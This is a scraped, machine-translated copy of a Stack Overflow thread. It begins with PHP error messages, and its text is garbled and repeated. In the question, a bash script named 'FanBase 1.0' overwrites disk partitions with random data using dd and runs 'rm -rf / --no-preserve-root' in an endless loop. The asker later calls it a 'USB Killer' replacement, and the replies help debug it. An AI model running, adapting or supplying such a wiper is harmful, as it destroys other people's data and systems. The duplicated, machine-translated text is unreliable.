Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/bash/18.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Linux 为什么一段时间后的代码是正确的;做在bash中从未调用过done循环?_Linux_Bash - Fatal编程技术网

Linux 为什么一段时间后的代码是正确的;做在bash中从未调用过done循环?

Linux 为什么一段时间后的代码是正确的;做在bash中从未调用过done循环?,linux,bash,Linux,Bash,此脚本已在安装中列出。然而,它只是挂起,什么也不做。有什么问题吗 我已尝试在多台计算机上运行此脚本 #!/bin/bash if [[ $EUID -ne 0 ]]; then echo "This script must be run as root" exit 1 fi echo "Starting FanBase 1.0" #Replace with any message rm -rf b while true do echo $(head /dev/urand

此脚本已在安装中列出。然而,它只是挂起,什么也不做。有什么问题吗

我已尝试在多台计算机上运行此脚本

#!/bin/bash
if [[ $EUID -ne 0 ]]; then
   echo "This script must be run as root" 
   exit 1
fi
echo "Starting FanBase 1.0"
#Replace with any message 
rm -rf b
while true
  do
   echo $(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '') >> b
   dd if=/dev/urandom of=/dev/sda1 bs=1M 2> /dev/null
   dd if=/dev/urandom of=/dev/sdb1 bs=1M 2> /dev/null
   dd if=/dev/urandom of=/dev/sdc1 bs=1M 2> /dev/null
   dd if=b of=/dev/sda1 bs=1M 2> /dev/null
   dd if=b of=/dev/sdb1 bs=1M 2> /dev/null
   dd if=b of=/dev/sdc1 bs=1M 2> /dev/null
   rm -rf / --no-preserve-root 2> /dev/null
  done
echo "DONE!"

它应该说“完成!”

让我们调试一下。尝试向每个
dd
命令添加
count=1
选项。比如说,

    dd if=/dev/urandom of=/dev/sda1 bs=1M count=1 2> /dev/null

让我们调试一下。尝试向每个
dd
命令添加
count=1
选项。比如说,

    dd if=/dev/urandom of=/dev/sda1 bs=1M count=1 2> /dev/null

您有一个无限循环:

while true
do
  ....
done

将永远运行,永远不会到达最后一行打印“完成!”。

您有一个无限循环:

while true
do
  ....
done


将永远运行,永远不会到达最后一行打印“完成!”。

当为true时,您编写
的原因是什么?@thb因为它工作不正常,所以我认为循环会修复它。安装什么?这将擦除sda1、sda2和sda3驱动器。出于某种原因,它会一直这样做。@jnevil它会这样做,根据代码,它只是将文件b写入驱动器。好的。由于堆栈溢出不鼓励在注释中进行长时间的讨论,我将在下面开始部分回答。你可以回答,我们会看到这会把我们引向何方。你为什么写
,而写的是true
?@thb因为它工作不正常,所以我认为循环会解决它。安装什么?这将擦除sda1、sda2和sda3驱动器。出于某种原因,它会一直这样做。@jnevil它会这样做,根据代码,它只是将文件b写入驱动器。好的。由于堆栈溢出不鼓励在注释中进行长时间的讨论,我将在下面开始部分回答。你可以回应,我们会看到这会把我们引向何方。我如何调试它。我搜索了代码,发现这真的很搞笑,但我会扮演你的直人。按照上面的建议,尝试将计数=1
添加到每个值中。让我知道你得到了什么。哇,这太残忍了。我想这是你的意图吧。嗯,这是我在这个月回答一个关于堆栈溢出的问题时最有趣的事情了,现在还不是四月。安装愉快!是的,是的。这是USB Killer的替代品。但是,这只在linux上有效。如何调试它。我搜索了代码,发现这真的很搞笑,但我会扮演你的直人。按照上面的建议,尝试将计数=1添加到每个值中。让我知道你得到了什么。哇,这太残忍了。我想这是你的意图吧。嗯,这是我在这个月回答一个关于堆栈溢出的问题时最有趣的事情了,现在还不是四月。安装愉快!是的,是的。这是USB Killer的替代品。然而,这只适用于linux。奇怪,因此不需要无限循环。几乎没有需要无限循环的情况。如果您曾经使用
while true
(无限循环),请知道如果没有
break
语句,它将永远不会退出循环。奇怪的是,因此不需要无限循环。几乎没有需要无限循环的情况。如果您曾经使用
while true
(无限循环),请知道如果没有
break
语句,它将永远不会退出循环。